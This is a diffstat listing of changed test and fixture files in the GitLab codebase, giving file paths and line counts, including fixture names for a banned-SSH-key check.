-rw-r--r--spec/finders/merge_requests_finder_spec.rb27
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/integration.json3
-rw-r--r--spec/fixtures/api/schemas/remote_mirror.json61
-rw-r--r--spec/fixtures/config/mail_room_enabled_ms_graph.yml4
-rw-r--r--spec/fixtures/lib/gitlab/import_export/complex/project.json76
-rw-r--r--spec/fixtures/markdown/markdown_golden_master_examples.yml909
-rw-r--r--spec/fixtures/tasks/gitlab/security/expected_banned_keys.yml12
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/LICENSE22
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/README.md12
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/array-networks-vapv-vxag.pub1
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/barracuda_load_balancer_vm.pub1
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/ceragon-fibeair-cve-2015-0936.pub1
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/exagrid-cve-2016-1561.pub1
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/f5-bigip-cve-2012-1493.pub1
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/loadbalancer.org-enterprise-va.pub1
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/monroe-dasdec-cve-2013-0137.pub1
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/quantum-dxi-v1000.pub1
-rw-r--r--spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/vagrant-default.pub1
-rw-r--r--spec/fixtures/valid.po6
-rw-r--r--spec/frontend/__mocks__/@cubejs-client/core.js26
-rw-r--r--spec/frontend/abuse_reports/components/abuse_category_selector_spec.js126
-rw-r--r--spec/frontend/admin/broadcast_messages/components/message_form_spec.js6
-rw-r--r--spec/frontend/admin/users/components/user_date_spec.js2
-rw-r--r--spec/frontend/admin/users/mock_data.js8
-rw-r--r--spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js4
-rw-r--r--spec/frontend/analytics/cycle_analytics/store/actions_spec.js38
-rw-r--r--spec/frontend/api/groups_api_spec.js4
-rw-r--r--spec/frontend/api/harbor_registry_spec.js8
-rw-r--r--spec/frontend/api/packages_api_spec.js4
-rw-r--r--spec/frontend/api/tags_api_spec.js4
-rw-r--r--spec/frontend/api/user_api_spec.js35
-rw-r--r--spec/frontend/api_spec.js157
-rw-r--r--spec/frontend/artifacts/components/artifact_row_spec.js21
-rw-r--r--spec/frontend/artifacts/components/artifacts_table_row_details_spec.js1
-rw-r--r--spec/frontend/artifacts/components/feedback_banner_spec.js63
-rw-r--r--spec/frontend/artifacts/components/job_artifacts_table_spec.js24
-rw-r--r--spec/frontend/autosave_spec.js128
-rw-r--r--spec/frontend/batch_comments/components/submit_dropdown_spec.js2
-rw-r--r--spec/frontend/behaviors/markdown/render_gfm_spec.js9
-rw-r--r--spec/frontend/boards/board_card_inner_spec.js20
-rw-r--r--spec/frontend/boards/board_list_helper.js7
-rw-r--r--spec/frontend/boards/board_list_spec.js2
-rw-r--r--spec/frontend/boards/components/board_app_spec.js3
-rw-r--r--spec/frontend/boards/components/board_card_spec.js8
-rw-r--r--spec/frontend/boards/components/board_column_spec.js1
-rw-r--r--spec/frontend/boards/components/board_content_sidebar_spec.js6
-rw-r--r--spec/frontend/boards/components/board_content_spec.js3
-rw-r--r--spec/frontend/boards/components/board_filtered_search_spec.js3
-rw-r--r--spec/frontend/boards/components/board_form_spec.js6
-rw-r--r--spec/frontend/boards/components/board_list_header_spec.js2
-rw-r--r--spec/frontend/boards/components/board_new_issue_spec.js11
-rw-r--r--spec/frontend/boards/components/board_top_bar_spec.js1
-rw-r--r--spec/frontend/boards/components/boards_selector_spec.js25
-rw-r--r--spec/frontend/boards/components/issue_board_filtered_search_spec.js2
-rw-r--r--spec/frontend/boards/stores/getters_spec.js36
-rw-r--r--spec/frontend/captcha/captcha_modal_axios_interceptor_spec.js10
-rw-r--r--spec/frontend/ci/ci_variable_list/ci_variable_list/ci_variable_list_spec.js159
-rw-r--r--spec/frontend/ci/ci_variable_list/ci_variable_list/native_form_variable_list_spec.js40
-rw-r--r--spec/frontend/ci/ci_variable_list/components/ci_admin_variables_spec.js36
-rw-r--r--spec/frontend/ci/ci_variable_list/components/ci_environments_dropdown_spec.js118
-rw-r--r--spec/frontend/ci/ci_variable_list/components/ci_group_variables_spec.js73
-rw-r--r--spec/frontend/ci/ci_variable_list/components/ci_project_variables_spec.js46
-rw-r--r--spec/frontend/ci/ci_variable_list/components/ci_variable_modal_spec.js520
-rw-r--r--spec/frontend/ci/ci_variable_list/components/ci_variable_settings_spec.js147
-rw-r--r--spec/frontend/ci/ci_variable_list/components/ci_variable_shared_spec.js450
-rw-r--r--spec/frontend/ci/ci_variable_list/components/ci_variable_table_spec.js172
-rw-r--r--spec/frontend/ci/ci_variable_list/mocks.js213
-rw-r--r--spec/frontend/ci/ci_variable_list/services/mock_data.js (renamed from spec/frontend/ci_variable_list/services/mock_data.js)0
-rw-r--r--spec/frontend/ci/ci_variable_list/stubs.js (renamed from spec/frontend/ci_variable_list/stubs.js)0
-rw-r--r--spec/frontend/ci/ci_variable_list/utils_spec.js78
-rw-r--r--spec/frontend/ci/pipeline_editor/components/editor/text_editor_spec.js29
-rw-r--r--spec/frontend/ci/pipeline_editor/graphql/resolvers_spec.js4
-rw-r--r--spec/frontend/ci/pipeline_new/components/pipeline_new_form_spec.js468
-rw-r--r--spec/frontend/ci/pipeline_new/components/refs_dropdown_spec.js201
-rw-r--r--spec/frontend/ci/pipeline_new/mock_data.js134
-rw-r--r--spec/frontend/ci/pipeline_new/utils/filter_variables_spec.js21
-rw-r--r--spec/frontend/ci/pipeline_new/utils/format_refs_spec.js82
-rw-r--r--spec/frontend/ci/pipeline_schedules/components/pipeline_schedules_spec.js73
-rw-r--r--spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions_spec.js11
-rw-r--r--spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline_spec.js12
-rw-r--r--spec/frontend/ci/pipeline_schedules/mock_data.js18
-rw-r--r--spec/frontend/ci/runner/components/registration/registration_dropdown_spec.js12
-rw-r--r--spec/frontend/ci_variable_list/ci_variable_list/ci_variable_list_spec.js159
-rw-r--r--spec/frontend/ci_variable_list/ci_variable_list/native_form_variable_list_spec.js40
-rw-r--r--spec/frontend/ci_variable_list/components/ci_admin_variables_spec.js36
-rw-r--r--spec/frontend/ci_variable_list/components/ci_environments_dropdown_spec.js139
-rw-r--r--spec/frontend/ci_variable_list/components/ci_group_variables_spec.js73
-rw-r--r--spec/frontend/ci_variable_list/components/ci_project_variables_spec.js46
-rw-r--r--spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js520
-rw-r--r--spec/frontend/ci_variable_list/components/ci_variable_settings_spec.js147
-rw-r--r--spec/frontend/ci_variable_list/components/ci_variable_shared_spec.js450
-rw-r--r--spec/frontend/ci_variable_list/components/ci_variable_table_spec.js172
-rw-r--r--spec/frontend/ci_variable_list/mocks.js213
-rw-r--r--spec/frontend/ci_variable_list/utils_spec.js78
-rw-r--r--spec/frontend/commit/pipelines/pipelines_table_spec.js14
-rw-r--r--spec/frontend/constants_spec.js30
-rw-r--r--spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js31
-rw-r--r--spec/frontend/content_editor/extensions/attachment_spec.js10
-rw-r--r--spec/frontend/content_editor/extensions/link_spec.js2
-rw-r--r--spec/frontend/content_editor/markdown_processing_spec.js16
-rw-r--r--spec/frontend/content_editor/markdown_processing_spec_helper.js92
-rw-r--r--spec/frontend/content_editor/markdown_snapshot_spec.js95
-rw-r--r--spec/frontend/content_editor/markdown_snapshot_spec_helper.js96
-rw-r--r--spec/frontend/content_editor/services/upload_helpers_spec.js4
-rw-r--r--spec/frontend/deploy_freeze/store/mutations_spec.js4
-rw-r--r--spec/frontend/design_management/components/design_notes/design_reply_form_spec.js24
-rw-r--r--spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap14
-rw-r--r--spec/frontend/diff_spec.js72
-rw-r--r--spec/frontend/diffs/components/app_spec.js1
-rw-r--r--spec/frontend/diffs/components/diff_file_spec.js6
-rw-r--r--spec/frontend/diffs/components/diff_line_note_form_spec.js3
-rw-r--r--spec/frontend/dropzone_input_spec.js6
-rw-r--r--spec/frontend/editor/schema/ci/json_tests/positive_tests/gitlab-ci.json2
-rw-r--r--spec/frontend/editor/schema/ci/yaml_tests/negative_tests/artifacts.yml40
-rw-r--r--spec/frontend/editor/schema/ci/yaml_tests/negative_tests/rules.yml5
-rw-r--r--spec/frontend/editor/schema/ci/yaml_tests/positive_tests/artifacts.yml20
-rw-r--r--spec/frontend/editor/schema/ci/yaml_tests/positive_tests/rules.yml4
-rw-r--r--spec/frontend/environments/environment_details/deployment_job_spec.js49
-rw-r--r--spec/frontend/environments/environment_details/deployment_status_link_spec.js57
-rw-r--r--spec/frontend/environments/environment_details/deployment_triggerer_spec.js51
-rw-r--r--spec/frontend/environments/environment_details/empty_state_spec.js39
-rw-r--r--spec/frontend/environments/environment_details/page_spec.js69
-rw-r--r--spec/frontend/environments/environment_details/pagination_spec.js157
-rw-r--r--spec/frontend/environments/environment_details_page_spec.js50
-rw-r--r--spec/frontend/error_tracking/components/error_tracking_list_spec.js18
-rw-r--r--spec/frontend/error_tracking/store/list/actions_spec.js6
-rw-r--r--spec/frontend/error_tracking_settings/components/project_dropdown_spec.js16
-rw-r--r--spec/frontend/error_tracking_settings/mock.js7
-rw-r--r--spec/frontend/feature_flags/components/environments_dropdown_spec.js10
-rw-r--r--spec/frontend/feature_flags/components/new_environments_dropdown_spec.js4
-rw-r--r--spec/frontend/feature_highlight/feature_highlight_helper_spec.js7
-rw-r--r--spec/frontend/fixtures/environments.rb69
-rw-r--r--spec/frontend/fixtures/issues.rb2
-rw-r--r--spec/frontend/fixtures/projects.rb32
-rw-r--r--spec/frontend/fixtures/runner_instructions.rb2
-rw-r--r--spec/frontend/flash_spec.js204
-rw-r--r--spec/frontend/frequent_items/components/app_spec.js62
-rw-r--r--spec/frontend/frequent_items/components/frequent_items_list_item_spec.js49
-rw-r--r--spec/frontend/frequent_items/components/frequent_items_list_spec.js35
-rw-r--r--spec/frontend/frequent_items/store/actions_spec.js87
-rw-r--r--spec/frontend/frequent_items/store/mutations_spec.js35
-rw-r--r--spec/frontend/gfm_auto_complete/mock_data.js24
-rw-r--r--spec/frontend/gfm_auto_complete_spec.js27
-rw-r--r--spec/frontend/group_settings/components/shared_runners_form_spec.js2
-rw-r--r--spec/frontend/ide/components/repo_editor_spec.js27
-rw-r--r--spec/frontend/ide/lib/gitlab_web_ide/get_base_config_spec.js18
-rw-r--r--spec/frontend/ide/stores/modules/commit/actions_spec.js39
-rw-r--r--spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js8
-rw-r--r--spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js4
-rw-r--r--spec/frontend/ide/stores/modules/terminal/messages_spec.js10
-rw-r--r--spec/frontend/import_entities/components/import_status_spec.js19
-rw-r--r--spec/frontend/import_entities/import_groups/components/import_actions_cell_spec.js38
-rw-r--r--spec/frontend/import_entities/import_groups/components/import_table_spec.js103
-rw-r--r--spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js12
-rw-r--r--spec/frontend/incidents_settings/components/incidents_settings_service_spec.js8
-rw-r--r--spec/frontend/integrations/edit/components/integration_form_spec.js81
-rw-r--r--spec/frontend/integrations/edit/components/integration_forms/section_spec.js109
-rw-r--r--spec/frontend/integrations/edit/components/trigger_field_spec.js31
-rw-r--r--spec/frontend/integrations/overrides/components/integration_overrides_spec.js10
-rw-r--r--spec/frontend/invite_members/components/invite_members_modal_spec.js28
-rw-r--r--spec/frontend/invite_members/components/user_limit_notification_spec.js20
-rw-r--r--spec/frontend/issuable/components/issuable_by_email_spec.js6
-rw-r--r--spec/frontend/issuable/components/issuable_header_warnings_spec.js5
-rw-r--r--spec/frontend/issuable/issuable_form_spec.js10
-rw-r--r--spec/frontend/issues/dashboard/components/issues_dashboard_app_spec.js173
-rw-r--r--spec/frontend/issues/dashboard/utils_spec.js88
-rw-r--r--spec/frontend/issues/list/mock_data.js19
-rw-r--r--spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js6
-rw-r--r--spec/frontend/issues/show/components/header_actions_spec.js33
-rw-r--r--spec/frontend/issues/show/components/incidents/create_timeline_events_form_spec.js9
-rw-r--r--spec/frontend/issues/show/components/incidents/mock_data.js1
-rw-r--r--spec/frontend/issues/show/components/incidents/timeline_events_form_spec.js142
-rw-r--r--spec/frontend/jira_connect/branches/components/project_dropdown_spec.js53
-rw-r--r--spec/frontend/jira_connect/subscriptions/api_spec.js14
-rw-r--r--spec/frontend/jira_connect/subscriptions/components/compatibility_alert_spec.js56
-rw-r--r--spec/frontend/jira_connect/subscriptions/components/sign_in_oauth_button_spec.js21
-rw-r--r--spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap20
-rw-r--r--spec/frontend/jobs/components/job/manual_variables_form_spec.js21
-rw-r--r--spec/frontend/jobs/components/job/sidebar_spec.js4
-rw-r--r--spec/frontend/jobs/components/table/jobs_table_spec.js6
-rw-r--r--spec/frontend/language_switcher/components/app_spec.js10
-rw-r--r--spec/frontend/lib/utils/datetime/date_calculation_utility_spec.js18
-rw-r--r--spec/frontend/lib/utils/datetime/date_format_utility_spec.js22
-rw-r--r--spec/frontend/lib/utils/poll_until_complete_spec.js14
-rw-r--r--spec/frontend/locale/ensure_single_line_spec.js2
-rw-r--r--spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js1
-rw-r--r--spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js2
-rw-r--r--spec/frontend/members/components/action_buttons/leave_button_spec.js59
-rw-r--r--spec/frontend/members/components/action_buttons/remove_member_button_spec.js18
-rw-r--r--spec/frontend/members/components/action_buttons/user_action_buttons_spec.js161
-rw-r--r--spec/frontend/members/components/action_dropdowns/leave_group_dropdown_item_spec.js54
-rw-r--r--spec/frontend/members/components/action_dropdowns/remove_member_dropdown_item_spec.js77
-rw-r--r--spec/frontend/members/components/action_dropdowns/user_action_dropdown_spec.js220
-rw-r--r--spec/frontend/members/components/modals/leave_modal_spec.js122
-rw-r--r--spec/frontend/members/components/modals/remove_member_modal_spec.js44
-rw-r--r--spec/frontend/members/components/table/__snapshots__/member_activity_spec.js.snap61
-rw-r--r--spec/frontend/members/components/table/created_at_spec.js19
-rw-r--r--spec/frontend/members/components/table/member_action_buttons_spec.js4
-rw-r--r--spec/frontend/members/components/table/member_activity_spec.js40
-rw-r--r--spec/frontend/members/components/table/member_source_spec.js94
-rw-r--r--spec/frontend/members/components/table/members_table_cell_spec.js16
-rw-r--r--spec/frontend/members/components/table/members_table_spec.js45
-rw-r--r--spec/frontend/members/components/table/role_dropdown_spec.js66
-rw-r--r--spec/frontend/members/guest_overage_confirm_action_spec.js7
-rw-r--r--spec/frontend/members/mock_data.js18
-rw-r--r--spec/frontend/members/store/actions_spec.js8
-rw-r--r--spec/frontend/members/utils_spec.js26
-rw-r--r--spec/frontend/merge_request_tabs_spec.js70
-rw-r--r--spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_candidate_spec.js.snap45
-rw-r--r--spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_experiment_spec.js.snap511
-rw-r--r--spec/frontend/ml/experiment_tracking/components/ml_candidate_spec.js4
-rw-r--r--spec/frontend/ml/experiment_tracking/components/ml_experiment_spec.js111
-rw-r--r--spec/frontend/monitoring/requests/index_spec.js20
-rw-r--r--spec/frontend/monitoring/store/actions_spec.js10
-rw-r--r--spec/frontend/monitoring/store/mutations_spec.js7
-rw-r--r--spec/frontend/nav/components/new_nav_toggle_spec.js23
-rw-r--r--spec/frontend/notes/components/comment_form_spec.js9
-rw-r--r--spec/frontend/notes/components/note_body_spec.js12
-rw-r--r--spec/frontend/notes/stores/actions_spec.js6
-rw-r--r--spec/frontend/notifications/components/custom_notifications_modal_spec.js14
-rw-r--r--spec/frontend/notifications/components/notification_email_listbox_input_spec.js81
-rw-r--r--spec/frontend/notifications/components/notifications_dropdown_spec.js10
-rw-r--r--spec/frontend/observability/observability_app_spec.js29
-rw-r--r--spec/frontend/observability/skeleton_spec.js145
-rw-r--r--spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row_spec.js8
-rw-r--r--spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/image_list_row_spec.js45
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js16
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/delete_modal_spec.js8
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/pypi_installation_spec.js.snap2
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/details/package_history_spec.js16
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/details/package_versions_list_spec.js57
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/details/pypi_installation_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js156
-rw-r--r--spec/frontend/packages_and_registries/package_registry/pages/__snapshots__/list_spec.js.snap125
-rw-r--r--spec/frontend/packages_and_registries/package_registry/pages/list_spec.js103
-rw-r--r--spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js42
-rw-r--r--spec/frontend/pages/projects/forks/new/components/fork_form_spec.js19
-rw-r--r--spec/frontend/pages/projects/forks/new/components/project_namespace_spec.js42
-rw-r--r--spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap14
-rw-r--r--spec/frontend/pages/projects/graphs/code_coverage_spec.js12
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js12
-rw-r--r--spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js2
-rw-r--r--spec/frontend/pages/shared/wikis/components/wiki_content_spec.js6
-rw-r--r--spec/frontend/pipeline_new/components/pipeline_new_form_spec.js466
-rw-r--r--spec/frontend/pipeline_new/components/refs_dropdown_spec.js182
-rw-r--r--spec/frontend/pipeline_new/mock_data.js126
-rw-r--r--spec/frontend/pipeline_new/utils/filter_variables_spec.js21
-rw-r--r--spec/frontend/pipeline_new/utils/format_refs_spec.js21
-rw-r--r--spec/frontend/pipeline_wizard/components/wrapper_spec.js7
-rw-r--r--spec/frontend/pipelines/pipelines_spec.js8
-rw-r--r--spec/frontend/pipelines/pipelines_table_spec.js8
-rw-r--r--spec/frontend/projects/commit/components/branches_dropdown_spec.js115
-rw-r--r--spec/frontend/projects/commit/components/projects_dropdown_spec.js64
-rw-r--r--spec/frontend/projects/merge_requests/components/report_abuse_dropdown_item_spec.js73
-rw-r--r--spec/frontend/projects/pipelines/charts/components/ci_cd_analytics_charts_spec.js51
-rw-r--r--spec/frontend/projects/settings/components/default_branch_selector_spec.js1
-rw-r--r--spec/frontend/projects/settings/repository/branch_rules/components/branch_rule_spec.js11
-rw-r--r--spec/frontend/projects/settings/repository/branch_rules/mock_data.js5
-rw-r--r--spec/frontend/projects/settings_service_desk/components/service_desk_root_spec.js8
-rw-r--r--spec/frontend/read_more_spec.js33
-rw-r--r--spec/frontend/ref/components/ref_selector_spec.js11
-rw-r--r--spec/frontend/repository/commits_service_spec.js15
-rw-r--r--spec/frontend/repository/components/blob_content_viewer_spec.js10
-rw-r--r--spec/frontend/repository/components/blob_viewers/notebook_viewer_spec.js40
-rw-r--r--spec/frontend/repository/components/blob_viewers/openapi_viewer_spec.js30
-rw-r--r--spec/frontend/repository/components/fork_info_spec.js122
-rw-r--r--spec/frontend/repository/components/new_directory_modal_spec.js8
-rw-r--r--spec/frontend/repository/components/tree_content_spec.js23
-rw-r--r--spec/frontend/repository/components/upload_blob_modal_spec.js4
-rw-r--r--spec/frontend/repository/mock_data.js18
-rw-r--r--spec/frontend/repository/utils/ref_switcher_utils_spec.js7
-rw-r--r--spec/frontend/search/store/utils_spec.js22
-rw-r--r--spec/frontend/self_monitor/store/actions_spec.js6
-rw-r--r--spec/frontend/set_status_modal/set_status_form_spec.js93
-rw-r--r--spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js49
-rw-r--r--spec/frontend/set_status_modal/user_profile_set_status_wrapper_spec.js81
-rw-r--r--spec/frontend/set_status_modal/utils_spec.js18
-rw-r--r--spec/frontend/sidebar/components/assignees/assignees_spec.js12
-rw-r--r--spec/frontend/sidebar/components/copy/sidebar_reference_widget_spec.js2
-rw-r--r--spec/frontend/super_sidebar/components/counter_spec.js56
-rw-r--r--spec/frontend/super_sidebar/components/super_sidebar_spec.js33
-rw-r--r--spec/frontend/super_sidebar/components/user_bar_spec.js46
-rw-r--r--spec/frontend/super_sidebar/mock_data.js9
-rw-r--r--spec/frontend/usage_quotas/storage/components/project_storage_app_spec.js150
-rw-r--r--spec/frontend/usage_quotas/storage/components/project_storage_detail_spec.js129
-rw-r--r--spec/frontend/usage_quotas/storage/components/storage_type_icon_spec.js41
-rw-r--r--spec/frontend/usage_quotas/storage/components/usage_graph_spec.js144
-rw-r--r--spec/frontend/usage_quotas/storage/mock_data.js101
-rw-r--r--spec/frontend/usage_quotas/storage/utils_spec.js88
-rw-r--r--spec/frontend/users/profile/components/report_abuse_button_spec.js79
-rw-r--r--spec/frontend/vue_merge_request_widget/components/mr_collapsible_extension_spec.js8
-rw-r--r--spec/frontend/vue_merge_request_widget/components/states/__snapshots__/mr_widget_auto_merge_enabled_spec.js.snap163
-rw-r--r--spec/frontend/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled_spec.js8
-rw-r--r--spec/frontend/vue_merge_request_widget/components/widget/widget_spec.js20
-rw-r--r--spec/frontend/vue_merge_request_widget/extensions/security_reports/mock_data.js141
-rw-r--r--spec/frontend/vue_merge_request_widget/extensions/security_reports/mr_widget_security_reports_spec.js93
-rw-r--r--spec/frontend/vue_merge_request_widget/extensions/test_report/index_spec.js28
-rw-r--r--spec/frontend/vue_merge_request_widget/extentions/accessibility/index_spec.js12
-rw-r--r--spec/frontend/vue_merge_request_widget/extentions/code_quality/index_spec.js75
-rw-r--r--spec/frontend/vue_merge_request_widget/extentions/code_quality/mock_data.js37
-rw-r--r--spec/frontend/vue_merge_request_widget/mr_widget_how_to_merge_modal_spec.js16
-rw-r--r--spec/frontend/vue_shared/components/ci_badge_link_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js36
-rw-r--r--spec/frontend/vue_shared/components/group_select/group_select_spec.js150
-rw-r--r--spec/frontend/vue_shared/components/header_ci_component_spec.js3
-rw-r--r--spec/frontend/vue_shared/components/listbox_input/listbox_input_spec.js67
-rw-r--r--spec/frontend/vue_shared/components/markdown/editor_mode_dropdown_spec.js58
-rw-r--r--spec/frontend/vue_shared/components/markdown/field_spec.js18
-rw-r--r--spec/frontend/vue_shared/components/markdown/markdown_editor_spec.js77
-rw-r--r--spec/frontend/vue_shared/components/markdown/toolbar_spec.js15
-rw-r--r--spec/frontend/vue_shared/components/runner_aws_deployments/__snapshots__/runner_aws_deployments_modal_spec.js.snap177
-rw-r--r--spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js70
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/instructions/__snapshots__/runner_docker_instructions_spec.js.snap3
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/instructions/__snapshots__/runner_kubernetes_instructions_spec.js.snap3
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/instructions/runner_aws_instructions_spec.js117
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/instructions/runner_cli_instructions_spec.js169
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/instructions/runner_docker_instructions_spec.js28
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions_spec.js28
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/mock_data.js8
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js201
-rw-r--r--spec/frontend/vue_shared/components/source_viewer/source_viewer_spec.js17
-rw-r--r--spec/frontend/vue_shared/components/timezone_dropdown/timezone_dropdown_spec.js10
-rw-r--r--spec/frontend/vue_shared/components/web_ide_link_spec.js15
-rw-r--r--spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js24
-rw-r--r--spec/frontend/work_items/components/notes/__snapshots__/work_item_note_body_spec.js.snap9
-rw-r--r--spec/frontend/work_items/components/notes/activity_filter_spec.js74
-rw-r--r--spec/frontend/work_items/components/notes/work_item_note_body_spec.js32
-rw-r--r--spec/frontend/work_items/components/notes/work_item_note_spec.js53
-rw-r--r--spec/frontend/work_items/components/work_item_comment_form_spec.js205
-rw-r--r--spec/frontend/work_items/components/work_item_comment_locked_spec.js41
-rw-r--r--spec/frontend/work_items/components/work_item_detail_modal_spec.js18
-rw-r--r--spec/frontend/work_items/components/work_item_detail_spec.js92
-rw-r--r--spec/frontend/work_items/components/work_item_links/work_item_link_child_metadata_spec.js27
-rw-r--r--spec/frontend/work_items/components/work_item_links/work_item_link_child_spec.js21
-rw-r--r--spec/frontend/work_items/components/work_item_links/work_item_links_form_spec.js93
-rw-r--r--spec/frontend/work_items/components/work_item_links/work_item_tree_spec.js29
-rw-r--r--spec/frontend/work_items/components/work_item_notes_spec.js95
-rw-r--r--spec/frontend/work_items/mock_data.js362
-rw-r--r--spec/frontend/work_items/router_spec.js1
-rw-r--r--spec/graphql/mutations/achievements/create_spec.rb54
-rw-r--r--spec/graphql/resolvers/ci/jobs_resolver_spec.rb13
-rw-r--r--spec/graphql/resolvers/timelog_resolver_spec.rb29
-rw-r--r--spec/graphql/types/access_level_enum_spec.rb2
-rw-r--r--spec/graphql/types/achievements/achievement_type_spec.rb39
-rw-r--r--spec/graphql/types/alert_management/alert_type_spec.rb1
-rw-r--r--spec/graphql/types/ci/runner_countable_connection_type_spec.rb11
-rw-r--r--spec/graphql/types/description_version_type_spec.rb10
-rw-r--r--spec/graphql/types/design_management/design_type_spec.rb2
-rw-r--r--spec/graphql/types/issue_type_spec.rb51
-rw-r--r--spec/graphql/types/member_access_level_enum_spec.rb11
-rw-r--r--spec/graphql/types/namespace_type_spec.rb2
-rw-r--r--spec/graphql/types/notes/note_type_spec.rb5
-rw-r--r--spec/graphql/types/notes/noteable_interface_spec.rb1
-rw-r--r--spec/graphql/types/notes/system_note_metadata_type_spec.rb11
-rw-r--r--spec/graphql/types/query_type_spec.rb59
-rw-r--r--spec/graphql/types/repository/blob_type_spec.rb13
-rw-r--r--spec/graphql/types/snippet_type_spec.rb2
-rw-r--r--spec/graphql/types/time_tracking/timelog_connection_type_spec.rb44
-rw-r--r--spec/graphql/types/time_tracking/timelog_sort_enum_spec.rb20
-rw-r--r--spec/graphql/types/timelog_type_spec.rb2
-rw-r--r--spec/graphql/types/user_type_spec.rb21
-rw-r--r--spec/graphql/types/users/email_type_spec.rb18
-rw-r--r--spec/graphql/types/users/namespace_commit_email_type_spec.rb18
-rw-r--r--spec/helpers/admin/components_helper_spec.rb30
-rw-r--r--spec/helpers/appearances_helper_spec.rb14
-rw-r--r--spec/helpers/application_helper_spec.rb68
-rw-r--r--spec/helpers/button_helper_spec.rb1
-rw-r--r--spec/helpers/ci/runners_helper_spec.rb4
-rw-r--r--spec/helpers/emails_helper_spec.rb16
-rw-r--r--spec/helpers/feature_flags_helper_spec.rb2
-rw-r--r--spec/helpers/form_helper_spec.rb18
-rw-r--r--spec/helpers/groups/group_members_helper_spec.rb4
-rw-r--r--spec/helpers/groups/observability_helper_spec.rb19
-rw-r--r--spec/helpers/import_helper_spec.rb16
-rw-r--r--spec/helpers/issuables_helper_spec.rb52
-rw-r--r--spec/helpers/issues_helper_spec.rb47
-rw-r--r--spec/helpers/markup_helper_spec.rb18
-rw-r--r--spec/helpers/nav_helper_spec.rb58
-rw-r--r--spec/helpers/preferences_helper_spec.rb24
-rw-r--r--spec/helpers/projects/ml/experiments_helper_spec.rb43
-rw-r--r--spec/helpers/projects/project_members_helper_spec.rb10
-rw-r--r--spec/helpers/projects_helper_spec.rb27
-rw-r--r--spec/helpers/search_helper_spec.rb20
-rw-r--r--spec/helpers/sidebars_helper_spec.rb24
-rw-r--r--spec/helpers/timeboxes_helper_spec.rb63
-rw-r--r--spec/helpers/todos_helper_spec.rb26
-rw-r--r--spec/helpers/url_helper_spec.rb25
-rw-r--r--spec/helpers/users/callouts_helper_spec.rb83
-rw-r--r--spec/helpers/version_check_helper_spec.rb21
-rw-r--r--spec/lib/api/entities/basic_project_details_spec.rb47
-rw-r--r--spec/lib/api/entities/bulk_imports/entity_spec.rb3
-rw-r--r--spec/lib/api/entities/ml/mlflow/run_info_spec.rb14
-rw-r--r--spec/lib/api/helpers/members_helpers_spec.rb53
-rw-r--r--spec/lib/api/helpers/packages_helpers_spec.rb29
-rw-r--r--spec/lib/api/helpers/pagination_strategies_spec.rb8
-rw-r--r--spec/lib/api/helpers/rate_limiter_spec.rb4
-rw-r--r--spec/lib/api/helpers_spec.rb19
-rw-r--r--spec/lib/atlassian/jira_connect/jwt/asymmetric_spec.rb15
-rw-r--r--spec/lib/banzai/filter/inline_observability_filter_spec.rb48
-rw-r--r--spec/lib/banzai/filter/math_filter_spec.rb171
-rw-r--r--spec/lib/banzai/filter/references/reference_filter_spec.rb6
